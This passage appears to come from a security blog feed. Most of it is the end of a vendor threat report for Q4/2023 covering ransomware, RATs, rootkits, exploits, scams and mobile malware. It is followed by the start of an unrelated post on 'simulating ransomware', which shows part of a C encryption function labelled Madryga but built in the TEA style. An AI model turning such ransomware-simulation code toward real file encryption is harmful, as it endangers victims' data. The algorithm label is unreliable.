However, law enforcement organizations do not sleep either. In a joint operation, the Dutch Police and Cisco Talos recovered a decryption tool of the Babuk ransomware used in the Tortilla malicious campaign. Avast added the recovered private key into its Babuk decryptor, which is now available for download.

Furthermore, several ransomware operations were disrupted in the previous quarter, such as BlackCat / ALPHV, which is the world’s second most active gang.

On Dec 7, 2023, information appeared that BlackCat’s leak site is down. Even though BlackCat operators looked like they were repairing the site, one day later, it appeared that the FBI was behind the outage of the data site:

Tweet informing about possible FBI operation on BlackCat gang

Ten days later, the Department of Justice officially confirmed that the ransomware gang operation was disrupted, and the site was seized. The leak site now shows information about successful law enforcement operation done by the FBI:

Seized website of the BlackCat / ALPHV ransomware

Good employees are a scarce resource; that applies to the dark side employers as well. Hence, as soon as the rumors about BlackCat began, LockBit operators started to recruit the members of the BlackCat gang.

The disruption operation did not stop BlackCat, however. New organizations have been attacked by the gang already in 2024.

Statistics

The following stats show the most prevalent ransomware strains among our userbase. Percentages show the malware share of each strain:

  • STOP (17%)
  • WannaCry (16%)
  • Enigma (9%)
  • TargetCompany (4%)
  • Cryptonite (2%)
  • LockBit (1%)

This quarter, Enigma is the highest jumper, going up from 1% to over 9%. The complete world map with risk ratios is as follows:

Ransomware risk ratio in our userbase in Q4/2023

Since the previous quarter, the risk ratio in our user base shows a slight increase:

Comparation of the ransomware risk ratio in Q3/2023 and Q4/2023

Ladislav Zezula, Malware Researcher
Jakub Křoustek, Malware Research Director

Remote Access Trojans (RATs) 

A Remote Access Trojan (RAT) is a type of malicious software that allows unauthorized individuals to gain remote control over a victim’s computer or device. RATs are typically spread through social engineering techniques, such as phishing emails or infected file downloads. Once installed, RATs grant the attacker complete access to the victim’s device, enabling them to execute various malicious activities, such as spying, data theft, remote surveillance, and even taking control of the victim’s webcam and microphone.

Things in the realm of remote access trojans did not change much in Q4/2023. Regarding the daily activity of RATs, the statistics show a slightly decreasing trend when compared to Q3/2023 but this might be due to the holiday season when targeted users and RAT operators alike enjoy the time off.

An exciting event this year was the takedown of NetWire RAT at the beginning in Q1/2023. Let us look at what effect this takedown had on one of the bigger players at that time. Before the takedown in Q4/2022, NetWire RAT was number 7 on the most prevalent list, taking up over 4% of the malware share among RATs. In Q1/2023 its malware share went down to 3%. The takedown happened at the beginning of March, so it has not yet resulted in much impact. In Q2/2023 the share dropped further to 1.2%, and in the second half of 2023 the malware share stayed at 1% rendering NetWire RAT nearly irrelevant. We do not expect this strain to return to its earlier status.

Daily risk ratio in our user base on RATs in Q4/2023

According to our data, Remcos seems to be the deciding factor in the risk ratio of each country while other strains have much smaller effects. The only exceptions are countries where HWorm is spread which is mainly the Middle East and Afghanistan, Pakistan, and India. As usual, the highest values of risk ratio are in Afghanistan, Iraq and Yemen and the factors are the activity of HWorm and to a far lesser extent the activity of njRAT. The largest increase in risk ratio in this quarter was seen in Romania (78%, Remcos and QuasarRAT), Lithuania (49%, Remcos, njRAT and Warzone) and Czechia (46%, Remcos and njRAT). North Macedonia, Uruguay and Portugal are countries with the largest decrease in risk ratio by -50% and it correlates to decreased activity of Remcos.

Map showing global risk ratio for RATs in Q4/2023

We have tweeted about one of the Remcos campaigns tricking users into installing fake Adobe Reader updates. Remcos was very active in October and then somewhat slowed down in November and December. We have also published a tweet about another campaign using fake updates, this time pushing zgRAT, which according to our data is not very spread otherwise.

AsyncRat, currently number 4 on the top prevalent list, has increased its malware share by 30%. There are also two strains which more than doubled their malware share. One of these is XWorm, which has entered the top 10 list in this quarter. The other is SectopRAT which isn’t as prevalent, however there are reports of it working together with the Lumma password stealer.

The most prevalent remote access trojan strains in our userbase:

  • HWorm
  • Remcos
  • njRAT
  • AsyncRat
  • QuasarRAT
  • Warzone
  • FlawedAmmyy
  • NanoCore
  • Gh0stCringe
  • XWorm

The discovery of Krasue was probably the most frequent news topic in December. Krasue is a new Linux RAT discovered by Group-IB. According to their report, this threat has been active since at least 2021 targeting organizations in Thailand. The malware holds a rootkit to hide its presence on a system, more specifically it contains 7 precompiled versions for various kernels. Another interesting feature is the use of the RTSP (Real Time Streaming Protocol) for C2 communication which is not very common.

Embedded rootkit versions in Krasue

The Cisco Talos team recently spotted a new customized variant of Gh0st RAT. They call this variant SugarGh0st. Gh0st RAT is an old RAT with code publicly released in 2008 and over the years it has been frequently used by Chinese-speaking actors. Talos argues that a Chinese-speaking group might be running the current campaign as well although with low confidence. Among the added features compared to the original Gh0st RAT is looking for specific ODBC (Open Database Connectivity) registry keys, loading library files and changes made to evade earlier detections as well as slight modification of the C2 communication protocol. This is interesting evidence that although there are frequent reports of new RATs, the old and reliable are here to stay.

Two more strains were reported by CYFIRMA namely the Millenium RAT and the SilverRAT. The Millenium RAT briefly appeared for sale on GitHub. It is interesting to note that the release on GitHub specified version 2.4 and version 2.5 followed shortly after. We were not able to find any reports or clues towards earlier versions. This might mean that 2.4 was the first version to go public or that it has been flying under the radar until now. CYFIRMA researchers said that this RAT is probably a derivative of the ToxicEye RAT. Regarding its features, it has the full package expected in a commodity RAT including keylogging, stealing sensitive data, and running commands.

SilverRAT seems to be a continuation of the S500 RAT since according to CYFIRMA it was developed by the same authors. This RAT is not new, it was first shared in 2022, but in Q4/2023 a cracked source code was leaked.

Ondřej Mokoš, Malware Researcher

Rootkits

Rootkits are malicious software specifically designed to gain unauthorized access to a system and obtain high-level privileges. Rootkits can operate at the kernel layer of a system, which grants them deep access and control including the ability to modify critical kernel structures. This could enable other malware to manipulate system behavior and evade detection.

The year-long analysis of rootkit activities reveals a persistent stagnation with a subtle descending trend. A minor peak was found in half of Q4/2024, although its significance is minimal.

Rootkit risk ratio in Q3/2023 – Q4/2023

Notably, China constantly keeps its prominent position as a leader in rootkit activities. 

Global risk ratio for rootkits in Q3 and Q4 2023

Despite a consistent overall trend, an expansion in affected states is seen, particularly in Europe and Russian regions. Furthermore, a noteworthy occurrence in the Russian territory during the middle of the third quarter extended into the fourth quarter.

Rootkit risk ratio in Q3/2023 – Q4/2023 in Russian territory

For several years, the dominant rootkit in the wild has been R77, a trend supported by comprehensive data displayed in a graph illustrating the prevalence of all rootkits, with a specific focus on R77.

Globally rootkit activities vs. R77Rootkit in Q4/2023

Projections indicate that R77 will continue to be the most widespread rootkit soon. Its popularity stems from its uncomplicated implementation, operating on a user layer and offering fundamental functions akin to a classic rootkit in layer 0, consequently mitigating the risk of frequent Blue Screen of Death (BSOD) occurrences.

Additionally, approximately 20% of rootkits are standard tools, often utilized as support tools for other malware:

  • R77Rootkit (48%)
  • Pucmeloun (7%)
  • Alureon (5%)
  • Bootkor (3%)
  • Perkesh (3%)
  • Cerbu (2%)

In terms of Linux kernel rootkits, we continue tracking the cyberweapons of APT groups. For instance, we efficiently detected new samples of Mélofée Linux kernel rootkit used by Chinese APT groups.

We want to highlight that we observed similar TTPs in other samples (e.g. Diamorphine kernel rootkit variant) implementing simple functionality (hiding the module and the directories with the malicious content) with its hooks based on KProbes (notice that KHook relies in KProbes), compiled in Amazon Linux distributions and impersonating popular hardware manufacturer modules (e.g. Intel and Realtek).

We will continue tracking lightweight Linux kernel rootkits used by APT groups in the next quarter.

Martin Chlumecký, Malware Researcher
David Álvarez, Malware Analyst

Vulnerabilities and Exploits

Exploits take advantage of flaws in legitimate software to perform actions that should not be allowed. They are typically categorized into remote code execution (RCE) exploits, which allow attackers to infect another machine, and local privilege escalation (LPE) exploits, which allow attackers to take more control of a partially infected machine.

In December 2023, Kaspersky researchers presented more details about Operation Triangulation at the 37th Chaos Communication Congress conference. This attack, targeted at Kaspersky and other entities, utilized several zero-day exploits, starting with an iMessage zero-click. As Kaspersky managed to recover the whole infection chain, this research provides fascinating insights into the techniques employed by highly sophisticated nation state attackers. We learned that the attack featured not one, but two separate validator stages. These were supposed to protect the exploits (and implants) using public-key encryption and ensure that they are only deployed in the targeted environment. 

Another interesting finding was that, when the attackers successfully exploited the kernel, they used their newfound privileges to just open Safari to run a browser exploit, essentially having to exploit the same device twice. At the first glance, dropping privileges like this doesn’t make much sense and it’s a bit of a mystery why the attack was designed like this. One theory is that the attackers had two chains and just wanted to take the best from both (the first one had the iMessage RCE, while the second one had the validators), so they decided to take the path of least resistance to connect them. However, we suspect this may also have been a deliberate attempt to protect the most expensive part of the attack: the zero-click iMessage exploit. If a victim discovered the malicious implant and attempted to trace back the infection, they would have most likely not found anything beyond the browser exploit, as no one would be crazy enough to suspect that a browser exploit chain would be initiated from the kernel. So, while the attackers would still get a lot of zero days burned, they would retain the most valuable one. Whatever the reason for the attack approach, one thing is for certain: this attacker must have no shortage of browser zero days if they are willing to risk burning one even when it’s unnecessary. 

MTE Support on Pixel 8

Another interesting development happened in October, when Google’s Pixel 8 was released with support for MTE (Memory Tagging Extensions). This represents a significant milestone, as this is the first commercially available device that supports this much-anticipated ARM mitigation. 

While it’s not enabled by default, MTE can be turned on as a developer option for testing purposes. This allows developers to test if their application behaves correctly and that MTE does not cause any unexpected errors. The main idea behind MTE is to assign 4-bit tags to allocated 16-byte memory regions. Pointers are then supposed to contain the tag so that the tag can be checked when the pointer is dereferenced. If the pointer tag does not match the expected value, an exception can be thrown. This could potentially mitigate a number of vulnerability classes, like use after frees, as the tag is supposed to be updated between allocations, so the stale pointer’s tag would be outdated at the time the vulnerability is triggered (there is still a good chance that the tag will be valid, though, since there are only 16 possible tag values). 

Currently, the actual impact of MTE on the difficulty of exploiting memory corruption vulnerabilities remains unclear; however, it seems like a promising mitigation, which might raise the bar for attackers. It’s also not clear if it will ever be enabled by default, as it will undoubtedly incur some performance overhead and the additional security might not be worth it for the average user. However, it might still come in handy for users who suspect they are targeted by zero-day capable attackers, since at a time when MTE is not widely enabled, its unexpected presence would likely catch most attackers off guard.

Jan Vojtěšek, Malware Reseracher

Web Threats

If we look at the detection statistics for the whole of last year, web threats were the most active category for 2023. Scams of different topics, and different quality thanks to the use of malvertising, have achieved a relatively large coverage worldwide. 

Due to this, it is not surprising that scams, phishing, and malvertising formed over 75% of all threats blocked by us during the year.

A powerful and dangerous combination is the scam coupled with malvertising. As we will describe in this section, scammers have started to use many innovations from the ever-developing world of AI in hopes of improving their rate of success.

Scams 

A scam is a type of threat that aims to trick users into giving an attacker their personal information or money. We track diverse types of scams which are listed below.

The malvertising business is booming thanks to the willingness of scammers to pay for delivery of their malicious content to victims. One could say that this willingness must come from the fact that scammers are getting their investments back from the money of the scammed users.

An interesting development is the increase in the activity of the scam threat, which started on 20 December and lasted until the end of the year.

General overview of Q4/2023 scam threat activity

The reason for this pre-holiday surge was an unfortunately successful push notification campaign. The campaign’s design, reminiscent of the famous CAPTCHA, encouraged users to allow push notifications to be sent from a given page.

Example of simple look of this landing page

Avast consistently draws attention to the issue of scam push notifications. Last quarter, we warned about a massive increase in malvertising threats, an increase which continued in the fourth quarter of the year.

Malvertising activity compared to the previous quarter

This promotion allows the scammer to take the user wherever he needs to go. From ordinary porn sites to financial scams, tech support scams, or even phishing sites.

A notable example is the phishing campaign shown below, which had its origin on a similar landing page where it convinced the user to allow sending push notifications. Typically, ads for adult content were then sent from this page. But then came a seemingly authentic ad campaign targeting Spotify users.

Example of scam push-notification

The phishing page continued to give the impression that it was a real Spotify page, as presented on the push notification pop-up, particularly the subscription renewal. It asked the user for a username and password, but also for credit card details including the verification code.

Phishing form page

Overall, the dividing line between phishing, scam and malvertising is very thin, and statistics are only confirming the common general growth of all these threats.

Financial scams

A big attraction in the world of scams for the fourth quarter was the massive deployment of AI-generated videos in ads for financial/investment scams, which we pointed out and described in more detail in our last report. These videos were initially relatively low quality, but their quality gradually rose to a quite impressive level. 

Scammers are still using known faces to lure users and entice people to click on the malicious links. Classics campaigns include the likes of Elon Musk, TV news reporters, and even presidents of countries. These advertisements use prestigious characters from the country where the advertisement is to be displayed. In the following examples, you can see a deepfake of the Czech President or Ursula von der Leyen introducing a new investment platform. 

Deep fake video of the Czech President Petr Pavel promoting registration on the investment portal
Deep fake video of Ursula von der Leyen introducing a new investment platform

We have also seen advertisements that used video images of famous characters that were embedded in an edited video to create the context for the introduction of a new product, but this is a different approach. Here, the overall impression created is much more believable, thanks to the fact that these generated videos explicitly speak certain text and mention specific names of fraudulent sites. 

Peak financial scam activity was observed in mid-November. Toward the end of the year, this activity slowly started to calm down.

Activity of financial scams in Q4

We have drawn attention to these ads many times. Typically, they lead to fraudulent sites that aim to promote information from ads and then redirect users to a registration form such as the one shown below.

Example of scam registration site

Dating Scams

Dating scams, also known as romance scams or online dating scams, involve fraudsters deceiving individuals into fake romantic relationships. Scammers adopt fake online identities to gain the victim’s trust, with the ultimate goal of obtaining money or enough personal information to commit identity theft.

In comparison to the previous quarter, a significant global increase in online dating fraud was seen in Q4 2023. However, intriguing shifts in attack patterns and targeted regions have come to light. Notably, despite a temporary decline in the number of scams during the holiday season, perhaps due to individuals being preoccupied with festive celebrations and spending time with loved ones, there are now emerging trends in how and where these scams are being deployed. Attackers have shifted their focus to different countries, marking a distinctive change in their strategies.

Heatmap showing risk-ratio for Q4/2023

The most substantial increase has been observed in the Arab states, including Saudi Arabia, Yemen, Oman, the United Arab Emirates, Kuwait, as well as in Indonesia, Cambodia, and Thailand. This shift in focus might be linked to a broader global trend of increased online interactions and digital connections. The evolving landscape of online socialization and communication has inadvertently created both challenges and opportunities for scammers. As people continue to engage more extensively in online platforms for various reasons, attackers are adapting their strategies and targeting different regions to exploit these shifting patterns of online activity.

Activity of DatingScam in Saudi Arabia

Countries in Central Europe and North America continue to face dating scams most, with approximately one in 20 users encountering these threats, on average. The observed decline during the holidays has piqued our interest, and we anticipate a resurgence in scam activities, particularly in the lead-up to Valentine’s Day. The romantic nature of this occasion may make individuals more susceptible to online connections, providing an opportune moment for attackers to exploit emotions and vulnerabilities.

DatingScam example from Saudi Arabia

Tech Support Scams

Tech support scam threats involve fraudsters posing as legitimate technical support representatives who attempt to gain remote access to victims’ devices or obtain sensitive personal information, such as credit card or banking details. These scams rely on confidence tricks to gain victims’ trust and often involve convincing them to pay for unnecessary services or purchase expensive gift cards. It’s important for internet users to be vigilant and to verify the credentials of anyone claiming to offer technical support services.

The fourth quarter showed tech support scam activity continued its downtrend that we observed all 2023. 

Graph illustrating a decline for 2 quarters

Several countries in which we typically observe significant tech support scam activity register significant declines in risk ratio. There are exceptions, one of which is Spain, which came third in our quarterly ranking. In Spain we see a 42% increase in the risk ratio in Q4 2023.

Heatmap showing risk-ratio for Q4/2023

Our ranking is traditionally dominated by Japan, together with the USA, followed by Spain. Interestingly, last quarter leader, Germany, has fallen back and rounds out our top 6, just behind France.

  • Japan 1.08%
  • United States 1.02%
  • Spain 0.81%
  • Australia 0.72%
  • France 0.68%
  • Germany 0.64%

If we look at the activity graph of Spain. We can see that the main source of activity comes at the end of November.

Tech Support Scam activity in Q4/2023 for Spain

The Tech Support scam landing pages changes very little. The same techniques are still used to block the user’s browser and force the user to dial the phone number offered. Therefore, the example of the most prevalent landing page shows only minor changes.

The Spanish variant of the most prevalent version of the TSS landing page

Refund and Invoice Scams

Invoice scams involve fraudsters sending false bills or invoices for goods or services that were never ordered or received. Scammers rely on invoices looking legitimate, often using company logos or other branding to trick unsuspecting victims into making payments. These scams can be especially effective when targeted at businesses, as employees may assume that a colleague made the purchase or simply overlook the details of the invoice. It’s important to carefully review all invoices and bills before making any payments and to verify the legitimacy of the sender if there are any suspicions of fraud.

Online Billing: New Frontier for Cybercriminals in 2024

It’s common for internet users to have approximately 80-90 passwords for various services, as reported by LastPass, and cybercriminals take advantage of a simple fact: users must keep track of an unimaginable number of subscription accounts. Additionally, many traditional companies that previously relied on manual service management processes are gradually transitioning their customers to paperless methods, such as online account billing. This shift, primarily a cost-saving measure, is likely to continue in the future, with most customer services moving to online accounts or mobile apps. Attackers are aware of this trend, which has opened new avenues for cybercrime.

One fruitful strategy employed by cybercriminals is to target digital services that have widespread usage. In Q4 2023, we observed a significant increase in one particular type of scam: subscription fraud. Among these, Netflix scams emerged prominently. With Netflix’s user base soaring to over 250 million in 2023, the likelihood of successfully attacking a random subscriber is quite high, especially in the US and Europe where the penetration of these services is generally higher.

The typical Netflix online billing scam attack generally arrives in the form of an email, which is a little more difficult to examine on a small screen. These messages are increasingly tailored to fit the small screens of mobile devices, a trend that aligns with the growing trend of using cell phones to manage one’s entire online presence. Let’s look at what these scams look like:

Netflix-based invoice scam spreading in Q4/2023

There are several red flags in the email that should raise alarms. A common thread is the language scammers use, which often create a sense of urgency and sometimes include spelling and grammar mistakes (though less with the increase of AI as a tool to support in scam message creation). The color scheme of such messages is frequently tailored to enhance the sense of urgency, with a strong use of red, yellow, or a combination thereof. For a company like Netflix – which spends enormous amounts on marketing – the design, if examined closely, is not very well-executed. Additionally, companies typically do not ask you to update payment details via a link in the email. These are just the main red flags in this particular example.

Geographically, the countries most affected by these online billing scams are predominantly located in Europe and North America. There are a few exceptions: Australia has the highest risk ratio of 1.52%, and New Zealand is close behind with 1.11%, ranking third. 

Refund and invoice scam spreading in Q4/2023

In Q4/2023, when we examine online billing scam data on a month-by-month basis, we can identify a significant spike during the last week of November. Even the period leading up to Christmas was higher than normal, which might be attributed to the fact that, for many people, Christmas is a time when they report higher-than-usual stress levels, according to the American Psychological Association. As we know, scammers take advantage of people’s vulnerable moments, and the holiday season can often be wrought with. Additionally, buying habits change during the holiday season, which might also contribute to the spike.

The trend line we see in the graph continues to climb throughout the fourth quarter, as seen below. 

Refund and invoice scam spreading in Q4/2023

As always, stay vigilant and pay close attention to the emails you receive, especially on your mobile device to help avoid these types of scams.

Phishing: Post-Holiday Phishing Alert in Online Shopping

Phishing is a type of online scam where fraudsters attempt to obtain sensitive information including passwords or credit card details by posing as a trustworthy entity in an electronic communication, such as an email, text message, or instant message. The fraudulent message usually contains a link to a fake website that looks like the real one, where the victim is asked to enter their sensitive information.

As far as phishing is concerned, attackers did not relent in their efforts in Q4/2023. The phishing graph below highlights the overall increase in web threats.

Phishing activity throughout 2023

Throughout 2023 we witnessed a wide array of phishing campaigns. During the fourth quarter, there was interesting activity in the category of fake online shops (also referred to as e-shops).

Following the holiday season, a surge of over 4,000 fake e-shops imitating popular brands posed a threat to online shoppers. Scammers exploited post-holiday bargain hunters, making vigilance crucial.

Fake TheNorthFace e-shop

The cyber criminals behind these fake e-shop attacks meticulously mimic renowned brands (including  Nike, Adidas, Pandora, Zara, Hilfiger, The North Face and many more) luring consumers with incredibly realistic-looking websites. Their process involves phishing for personal information during a fake login, and the sites often appear amongst the top search results.

Search top results including fake e-shop

In the final stages of the scam, users are coerced into providing personal and payment details, risking exposure of sensitive information. 

Tips for safety include verifying website credibility, cautious sale shopping, watching for fraud signals, and keeping security software updated.

Fake TheNorthFace e-shop – phishing login form
Fake TheNorthFace e-shop – phishing register form
Fake TheNorthFace e-shop – phishing payment form

Alexej Savčin, Malware Analyst
Branislav Kramár, Malware Analyst
Matěj Krčma, Malware Analyst

Mobile-Related Threats

As we enter the new year, we can look back on an interesting quarter in the mobile threat landscape. While adware continued its reign as one of the most prevalent threats facing mobile users in Q4 2023, we also observed the Chameleon banker making a comeback and taking aim at victim’s bank accounts with new HTML injection prompts, coupled with disabling biometric unlocks that allow it to extract victim PIN and passwords. A first for the mobile sphere, FakeRust remote desktop access applications were also used to make fraudulent payments on behalf of users, leaving them with little recourse in challenging these payments.

In the realm of mobile apps, a new spyware strain, coined Xamalicious, used the open-source framework Xamarin to stay undetected in the PlayStore and take over user devices to steal data and perform click fraud. We observed an unusual double SpyAgent targeting both Android and iOS users in Korea, aiming to extract sensitive information such as SMS messages and contacts. SpyLoans also continued to spread in the PlayStore and was used to extort victims, even threatening physical violence in some cases, breaching the digital and real-world divide. 

SpyLoan app reviews on the PlayStore tell a story of extreme interest rates, harassment of contacts stolen from the device and in some cases even threats of violence

Finally, another set of malicious WhatsApp spyware mods was distributed to users, interestingly using the Telegram platform.

Web-Threats Data in the Mobile Landscape

As with Q3 2023, we now include web-threat related data in our telemetry for mobile threats. Scams, phishing and malvertising were responsible for most blocked attacks on mobile devices in Q4 2023. We noted a decrease in the percentage share of scams and an increase in phishing and malvertising compared to the previous quarter. These are discussed in more detail in the web-threat sections of this report.

Graphs showing the most prevalent threats in the mobile sphere in Q4/2023

Web-based threats will continue to account for most blocked attacks on mobile devices going forward. For malware applications to initiate their intended malicious activity on Android or iOS, they must be installed by the user and activated by running the application. In most cases, additional permissions must be given to the application to allow full reign of the infected device.

Comparatively, web-based threats are much more likely to be encountered during regular browsing as most mobile device users browse the internet daily. These web threats can be contained in private messages, emails, and SMS but also in the form of malicious adverts, redirects, unwanted pop ups and via other avenues. Blocking web-threat based attacks is beneficial for the security of mobile devices, as malware actors often use them as an entry point to get the payload onto the mobile device of their victims.

Adware remains at the top

Adware threats on mobile phones refer to applications that display intrusive out-of-context adverts to users with the intent of gathering fraudulent advertising revenue. This malicious functionality is often delayed until sometime after installation and coupled with stealthy features such as hiding the adware app icon to prevent removal. Adware mimics popular apps such as games, camera filters, and wallpaper apps, to name a few.

Adware was yet again the most prevalent of the traditional on-device malware threats in the mobile sphere in Q4 2023. Raking in fraudulent advertising revenue while negatively affecting the user experience of victims, these apps use various methods of spread to continue to sneak onto victims’ devices and remain hidden for as long as possible.

HiddenAds was again at the top of the adware list, trailed by SocialBar, a web threat adware that displays aggressive push notifications. Further down the list are MobiDash and FakeAdBlockers that altogether make up the bulk of adware threats facing mobile users this quarter. 

On-device adware shares some similarities, with these strains often hiding their icons once installed on user devices to prolong their malicious activity. Some adware has been seen serving advertisements while the screen is off to avoid detection and generate fraudulent revenue. Others are more brazen, displaying full screen out-of-context ads to victims, greatly impacting their user experience as they struggle to identify the source of the annoying adverts. 

Methods of spread for adware include third party app stores, fake websites distributing adware games and malicious redirects coupled with false advertising that leads users to download these adware apps.

MobiDash requesting device administrator rights to impede its removal from the victim’s device

The risk ratio of adware increased in Q4 2023, and we observed an increase in overall protected users of 14%. This trend is largely due to SocialBar and its increased prevalence on mobile devices, as evidenced by the large spike in the graph, that subsides into the later part of the quarter. Conversely, HiddenAds risk ratio has decreased this quarter.

Global risk ratio of mobile adware in Q3/2023 and Q4/2023 

Brazil, India and Argentina again have the most protected users this quarter. Conversely, Indonesia, India and South Africa have the highest risk ratios, meaning users are most likely to encounter adware in these countries according to our telemetry.

Global risk ratio for mobile adware in Q4/2023

Chameleon banker’s re-emergence

Bankers are a sophisticated type of mobile malware that targets banking details, cryptocurrency wallets, and instant payments with the intent of extracting money. Generally distributed through phishing messages or fake websites, Bankers can take over a victim’s device by abusing the accessibility service. Once installed and enabled, they often monitor 2FA SMS messages and may display fake bank overlays to steal login information.

As is seemingly the trend most quarters, we once again observed a  comeback of a previously discovered strain of banker, this time with Chameleon coming back after a several month hiatus with new malicious features added. Remote desktop access applications are abused to perform fraudulent transactions on behalf of victims, followed by the introduction of malicious FakeRust bankers. Continuing the trend from last quarter and despite the new and updated entries, bankers are on the decline in terms of protected users yet again. Cerberus/Alien leads the pack followed by Coper, Bankbot and Hydra.

The Chameleon banker highlighted in the Q2/2023 report is making a comeback with newly added features that allow it more ways to take over and control victim devices. Previously targeting Australia and Poland, it disguised itself as tax or banking applications or crypto currency exchanges. With its re-emergence, Chameleon targets users in the UK and Italy as well and it appears to be primarily distributed by phishing pages disguised as legitimate websites distributing the malware. As with most bankers, Chameleon requires the Accessibility service to perform its full device take over. One of its upgrades allows it to display the Accessibility service prompt using an HTML based pop up on devices running Android 13, a step up from previously used in-app prompts. Once it has full device control, this banker can now disable biometric unlocks for the device and installed applications. This bypass means Chameleon can spy on user PIN codes or passwords that must be used in lieu of biometrics, potentially adding another layer of information theft to its repertoire. The implications of this could be severe if more bankers adopt a similar approach into the future.

Chameleon’s new HTML prompt that overlays on top of App info, prompting victims to enable Accessibility rights

In a new trend, remote desktop access applications have been used in attacks targeting mobile user bank accounts. Due to database leaks from popular banks, threat actors have been able to gain access to sensitive victim data that they used in communication with victims. Pretending to be the bank security teams, criminals con victims into downloading the legitimate RustDesk application. After the app is installed, the threat actors request a unique identifier from the victim, with which they took over the device and conducted fraudulent payments on the user’s behalf. 

To make the situation worse, this device takeover has made it more difficult for victims to prove fraudulent activity, as it came from their device. RustDesk was removed from the PlayStore as a result, even though the application is not harmful on its own. Following the removal, fake banking websites were used to distribute a continuation of this threat, dubbed FakeRust. Pretending to be bank support websites, they distributed fake support applications that allowed them remote access to devices to steal money as with RustDesk.

FakeRust using the RustDesk layout but changing the title to Support in Cyrillic

For several quarters, we have observed a decline in the prevalence of bankers. We suspect that difficulty in spreading updated and new banker strains is rising, hence the lowering numbers of victims in the past year. It is likely that phishing websites and direct messaging through WhatsApp and other messengers isn’t as effective as widespread SMS message campaigns of the past.

Global risk ratio of mobile bankers in Q1/2023-Q4/2023

Turkey has the highest risk ratio this quarter, followed by Spain and Singapore. The focus this quarter remained on Europe with less bankers spotted in Australia compared to last quarter.

Global risk ratio for mobile bankers in Q4/2023

SpyLoans and Malicious WhatsApp mods

Spyware is used to spy on unsuspecting victims with the intent of extracting personal information such as messages, photos, location, or login details. It uses fake adverts, phishing messages, and modifications of popular applications to spread and harvest user information. State backed commercial spyware is becoming more prevalent and is used to target individuals with 0-day exploits.

Spymax continues to be the most prevalent spyware strain quartering Q4 2023, trailed by SexInfoSteal, RealRAT and WAMods. Several new spyware strains enter the fray this quarter, one even attempting to infect iOS devices to steal user data. Malicious messenger mods for WhatsApp continue their spread as users are advised to refrain from installing messenger mods. Finally, SpyLoans continue to be a blackmailing menace that even threatens users with physical violence if they don’t pay excessive amounts of money to the threat actors.

A new backdoor spyware has also entered the market through the PlayStore. Called Xamalicious, it uses an open-source framework called Xamarin, which can be used to build Android and iOS apps with .NET and C#. The use of the Xamarin framework has aided malware authors in staying undetected and on the PlayStore for extended periods of time. While Xamalicious has been taken down from the PlayStore, many of these apps remain available on third-party marketplaces. Once installed on the victim’s device, it will try to obtain Accessibility privileges with which it downloads a second-stage payload assembly DLL that allows it to take full control of the device. It has been seen installing other malicious apps, clicking on adverts, and stealing sensitive user data. Specifically, it collects device details, location, lists of apps and may access messages as well. We observe Xamalicious mainly targeting Brazil, UK and the US.

Xamalicious requesting Accessibility privileges to take over the victim’s device

A new SpyAgent is also targeting South Korean users through direct messages and phishing websites that mimic legitimate services such as messengers or yoga training apps. Interestingly, this threat targets both Android and iOS. Once downloaded on Android, it tries to steal contact information and SMS messages and can monitor calls, all of which are sent to the malware authors. While on Android, the process for spread is as seen in other spywares, on iOS the threat actors use a third-party tool that allows installing of apps out with the AppStore called Scarlet. Users who already have Scarlet with a certificate set to ‘Trust’ expose their devices to this spyware that can run anytime once installed. Scarlet then collects contact info from iOS users that is likely used for further distribution of the malware or other fraudulent activities. 

Fake website that mimics the AppStore, prompting the victim to download and install the SpyAgent

Our telemetry shows a continued rise in the prevalence of SpyLoans in 2023, fake loan applications that harvest user data that is used to extort victims into sending money to the malware authors. Another round of these applications was present on the PlayStore as reported by ESET

Despite their removal, these applications are increasingly propagated through SMS messages but also on social media such as TikTok, Facebook and YouTube. Several of these malwares also had fake loan websites set up, giving them the appearance of legitimacy. In some cases, the threat actors also impersonate reputable loan providers. Once installed, the SpyLoan uses SMS verification to check that the user is from a specific country, followed by an extensive and invasive loan application that requires the victim to allow access to their contacts, messages, bank account information, ID cards and photos on their device. Social media reviews highlight the dismay of victims as the malware authors threaten to send sensitive information to their friends and relatives, in some cases even threatening physical harm.

SpyLoan malware directing the victim to upload photos of their ID card

As reported last quarter, we continued to observe malicious mods for popular messengers such as WhatsApp and Telegram in Q4 2023. In an interesting twist, spyware WhatsApp mods were seen distributed through Telegram. Once users install the malicious mod, it sets up monitoring of the device, such as what applications are used, when new messages come in or when new files are downloaded. These events trigger the spy module that starts listening and sends away any interesting information to the malware authors. It then listens for further commands, which may include sending files to a C2 server, recording sound, and uploading contacts and messages among others. It appears these spyware mods are targeting Arabic speaking countries, as the developers set up their C2 servers in Arabic. It is likely we will see more malicious spyware mods for these popular applications going forward.

WhatsApp mod monitoring information about the victim’s accounts and contacts, initiated every 5 minutes and sent to C2 server

Spyware has decreased in prevalence this quarter, despite the newly found strains of malicious mods, SpyLoans and others. With this, the risk ratio has also decreased compared to last quarter.

Global risk ratio of mobile spyware in Q3/2023 and Q4/2023

Brazil, Turkey, and the US have the highest numbers of protected users this quarter. However, the risk ratio in all 3 top countries has gone down this quarter. Yemen, Turkey, and Egypt have the highest risk ratios this quarter.

Global risk ratio for mobile spyware in Q4/2023

Jakub Vávra, Malware Analyst

Acknowledgements / Credits

Malware researchers

Adolf Středa
Alexej Savčin
Branislav Kramár
David Álvarez
David Jursa
Igor Morgenstern
Jakub Křoustek
Jakub Vávra
Jan Rubín
Jan Vojtěšek
Ladislav Zezula
Luigino Camastra
Luis Corrons
Martin Chlumecký
Matěj Krčma
Michal Salát
Ondřej Mokoš

Data analysts

Pavol Plaskoň
Filip Husák
Lukáš Zobal

Communications

Brittany Posey
Emma McGowan

The post Avast Q4/2023 Threat Report appeared first on Avast Threat Labs.

Malware and cryptography 24: encrypt/decrypt file via Madryga. Simple C/C++ example.

16 January 2024 at 01:00

Hello, cybersecurity enthusiasts and white hackers!

cryptography

Since I’m a little busy writing my book for the Packt publishing, I haven’t been writing as often lately. But I’m still working on researching and simulating ransomware.

In one of the previous posts I wrote about the Madryga encryption algorithm and how it affected the VirusTotal detection score.

At the request of one of my readers, I decided to show file encryption and decryption logic using the Madryga algorithm.

practical example 1

First of all, we do not update encryption and decryption functions:

void madryga_encrypt(u32 *v, u32 *k) {
  u32 v0 = v[0], v1 = v[1], sum = 0, i;
  u32 delta = 0x9E3779B9;
  for (i = 0; i < ROUNDS; i++) {
    sum += delta;
    v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
